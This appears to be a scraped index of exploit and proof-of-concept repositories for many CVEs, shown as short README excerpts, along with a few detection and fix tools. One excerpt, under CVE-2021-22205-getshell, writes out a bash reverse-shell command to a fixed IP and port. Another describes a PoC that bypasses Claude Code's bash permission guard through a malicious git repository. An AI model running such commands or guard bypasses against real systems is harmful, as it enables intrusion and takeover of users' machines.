CVE-2022-42889-Analysis

CVE-2022-42889 Text4Shell Report A repository that organizes an analysis report for Apache Commons Text CVE-2022-42889 and attack demonstration materials based on a closed test environment. Documents CVE-2022-42889 - Vulnerability Analysis Report Repository Structure CVE-2022-42889-Report/ ├─...

PSForgot2kEyXCHANGE

PSForgot2kEyXCHANGE PoC for Forgot2kEyXCHANGE CVE-2020-0688 written in PowerShell Usage This PoC requires a valid Username and Password. This PoC uses ysoserial.net to create the new ViewState which contains the command you specified on the -Command param. If you don't already have this installed...

CVE-2020-5902

Readme F5 BIG-IP arbitrary file read + remote command execution RCE +-------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + + CVE-2020-5902 F5 BIG-IP Read File + RCE + +-------------------------------------------------------------+ ...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automate Exploitation and Detection This python program is a wrapper from the RCE SMBGhost vulnerability. All the credits for the working exploit to chompie1337. All the credits for the scanner to ioncodes. I just automate these functions in one program. You need to have in...

CVE-2026-48907

CVE-2026-48907 CVE-2026-48907 is a critical improper access control vulnerability in the JCE editor extension for Joomla. It allows unauthenticated attackers to create new editor profiles, which can ultimately lead to arbitrary PHP file upload and remote code execution on affected systems Also if...

CVE-2021-20837

CVE-2021-20837 XMLRPC - RCE in MovableTypePoC...

CVE-2007-1567

🐞 CVE-2007-1567: War FTP Daemon 1.65 - Stack-Based Buffer Overflow Classic stack-based buffer overflow in War FTP Daemon 1.65 demonstrating old-school remote code execution through malformed FTP commands. 📑 Table of Contents Why this repository exists Why this vulnerability is interesting Context...

CVE-2018-14667-poc

CVE-2018-14667-poc Richfaces Vulnerability Environment and PoC Target Range: Deploy the war package under vulenvironment directly into tomcat PoC build:build artifactId run:java -jar CVE-2018-14667-poc.jar "cmd" about debug Directly extract the war under the vulenvironment's war package, then...

pyrocms-ssti-fix

🛡️ PyroCMS SSTI Fix Drop-in security fix for CVE-2023-29689 - Server-Side Template Injection leading to Remote Code Execution in PyroCMS 3.9. The Problem PyroCMS allows admin users to edit templates stored in the database. Without sandboxing, attackers with admin access can inject malicious Twig...

Exploit_CVE-2019-17558-RCE

ExploitCVE-2019-17558-RCE Apache Solr 1.4 Injection to get a shell to Encode url, postrequest, getrequest...

CVE-2023-4220

RCE for Chamilo LMS CVE-2023-4220 Using a Web Shell This project automates the exploitation of the remote code execution vulnerability CVE-2023-4220 found in Chamilo LMS. Using a web shell, the tool facilitates the automated exploitation of the vulnerability to gain control over affected Chamilo...

cve-2026-45033-class

Claude Code — git bare-repo / core.fsmonitor guard bypass PoC Proof-of-concept for the "malicious bare git repository →core.fsmonitor → code execution" vulnerability class cf. CVE-2026-45033 in GitHub Copilot CLI reproduced against Claude Code , defeating the extra bash permission guard Claude Co...

CVE-2019-14439

CVE-2019-14439 Jackson-databind RCE...

Pwn2Own-Auto-2024-CHARX

Pwn2Own Automotive 2024 CHARX Exploit This exploit was submitted successfully against the Phoenix Contact CHARX SEC-3100 during Pwn2Own Automotive 2024. An accompanying blog post covers some of our research process and details on the vulnerabilities found, with a follow-up post on the actual...

CHECK-CVE-2025-55182-AND-CVE-2025-66478

CHECK-CVE-2025-55182-AND-CVE-2025-66478 This script detects if a server is affected by RSC/Next.js RCE vulnerabilities CVE-2025-55182 and CVE-2025-66478. It checks the server response for specific vulnerability signatures. Those signatures should be specific according to Searchlight Cyber So the...

CVE-2022-31144

CVE-2022-31144 CVE-2022-31144 dos redis. Rce not finished yet...

CVE-2018-3760

CVE-2018-3760 Rails Asset Pipeline Directory Traversal Vulnerability Found by Orange Tsai Note : By default, Rails apps running in production mode are not vulnerable to this exploit. Exploit: curl -v...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Tested Version Generate the exploit command echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Use djvumake to generate the exploit image import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444...

CVE-2024-38472

Creating a Remote Code Execution RCE Metasploit module for the SSRF vulnerability CVE-2024-38472 in Apache HTTP Server on Windows is challenging because SSRF itself doesn't directly result in RCE. However, SSRF can often be a step toward achieving RCE, especially if you can use it to interact wit...

CVE-2019-15107

Webmin Server Management Tool RCE Vulnerability CVE-2019-15107 Summary CVE-2019-15107 is a vulnerability in Webmin, a web-based system administration tool for Unix systems. In the code that changes passwords, a specific parameter is passed directly to a shell command without filtering, allowing...